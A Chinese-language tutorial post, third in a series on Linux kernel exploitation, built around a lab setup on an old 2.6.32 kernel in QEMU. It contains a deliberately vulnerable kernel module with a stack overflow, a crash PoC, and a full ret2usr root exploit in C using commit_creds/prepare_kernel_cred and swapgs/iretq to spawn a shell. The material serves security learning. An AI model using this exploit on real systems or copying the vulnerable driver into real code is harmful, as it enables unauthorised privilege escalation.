linux内核漏洞利用初探（3）：demo-stack_overflow

2. Kernel Stack Overflow

（1）漏洞代码

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
int bug2_write(struct file *file,const char *buf,unsigned long len)
{
    char localbuf[8];
    memcpy(localbuf,buf,len);
    return len;
}
static int __init stack_smashing_init(void)
{
    printk(KERN_ALERT "stack_smashing driver init!n");
    create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
    return 0;
}
static void __exit stack_smashing_exit(void)
{
    printk(KERN_ALERT "stack_smashing driver exit!n");
}
module_init(stack_smashing_init);
module_exit(stack_smashing_exit);

简单的栈溢出漏洞。

# Makefile
obj-m := stack_smashing.o  
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)  
modules:  
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

（2）PoC

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(){
    char buf[24] = {0};
    memset(buf,"A",24);
    *((void**)(buf + 20)) = 0x42424242;
    int fd = open("/proc/bug2",O_WRONLY);
    write(fd,buf,sizeof(buf));
}

$ insmod ./stack_smashing.ko

QEMU起内核后运行poc_stack直接崩溃，为了简便，需关闭cannary选项，重新编译内核。

编辑.config文件，注释掉CONFIG_CC_STACKPROTECTOR这一行，然后重新编译内核，再重新编译stack_smashing.ko（程序之前编译时是支持canary的，checksec查看即可）。

再跑POC。

$ insmod ./stack_smashing.ko

发现RIP被劫持为0x4242424242424242。

#start_stack_smashing.sh
qemu-system-x86_64 \
      -m 256M      \
      -kernel linux-2.6.32.1/arch/x86/boot/bzImage \
      -initrd ./rootfs_stack_smashing.img  \
      -append "root=/dev/ram rdinit=/sbin/init" \
      -s
#QEMU命令
$ cat /sys/module/stack_smashing/sections/.texts
0xffffffffa0000000
#gdb调试命令 (可以用gdb脚本更方便)
$ gdb vmlinux
$ target remote :1234
$ add-symbol-file ./stack_smashing.ko 0xffffffffa0000000
$ b bug2_write
$ c
#gdb.sh脚本
gdb \
    -ex "add-auto-load-safe-path $(pwd)" \
    -ex "file ../../linux-2.6.32.1/vmlinux" \   
    -ex 'target remote localhost:1234' \
    -ex 'add-symbol-file ./stack_smashing.ko 0xffffffffa0000000' \
    -ex 'b bug2_write' \
    -ex 'c'
$ x /20iw $pc
$ b *0xffffffffa0000022   # ret处下断
$ c
$ ni
Warning: not running or target is remote
0x4242424242424242 in ?? ()

（3）exploit

1.思路

利用commit_creds(prepare_kernel_cred(0))，然后返回到用户模式先执行swapgs，再执行iret。

当使用IRET指令返回到相同保护级别的任务时，IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器，并弹出标志寄存器内容到EFLAGS寄存器，还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。

struct trap_frame 
{
    void* eip;                // instruction pointer +0
    uint32_t cs;            // code segment    +4
    uint32_t eflags;        // CPU flags       +8
    void* esp;                // stack pointer       +12
    uint32_t ss;            // stack segment   +16
} __attribute__((packed));

2.编写exploit

//gcc exp.c -static -masm=intel -g -o exp_stack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>


size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;

struct trap_frame{
    size_t user_rip;
    size_t user_cs;
    size_t user_rflags;
    size_t user_sp;
    size_t user_ss;
}__attribute__((packed));
struct trap_frame tf;

size_t addr=&tf;  //user_rip

void get_shell(void){
    system("/bin/sh");
}

void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    tf.user_rip = &get_shell;
    tf.user_cs  = user_cs;
    tf.user_rflags = user_rflags;
    tf.user_sp  = user_sp-0x1000;    //why?
    tf.user_ss  = user_ss;
    puts("[*]status has been saved.");
}

#define KERNCALL __attribute__((regparm(3)));

size_t prepare_kernel_cred=0xffffffff81083330;  //How to find this address?
size_t commit_creds=0xffffffff81083140;
void payload(void){
    //payload here    
    char* (*pkc)(int)=prepare_kernel_cred;
    void (*cc)(char*)=commit_creds;
    (*cc)((*pkc)(0));
    asm(
    	"swapgs;"    //exchange GS
    	"mov rsp, addr;"
       "iretq;");
}

int main(void){
    char buf[48];
    memset(buf,0x41,48);
    *((void**)(buf+32)) = &payload; //set rip to payload
    save_status();
    //write(1,buf,sizeof(buf));
    int fd = open("/proc/bug2",O_WRONLY);
    //exploit
    write(fd,buf,sizeof(buf));
    return 0;
}

调试：

#gdb
$ ./gdb.sh
$ x /20iw $pc
$ b *0xffffffffa0000022   #ret处下断点
$ c
$ stack

由于muhe的教程是32位的，在64位系统上测试时需要修改exp，主要有以下几点：

• asm内联汇编：iret -> iretq 。
• 32位居然不需要"swapgs"来切换 GS 段寄存器。
• cat /proc/kallsyms 找提权函数地址

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参考：

https://www.anquanke.com/post/id/85837
https://www.anquanke.com/post/id/85840
https://www.anquanke.com/post/id/85848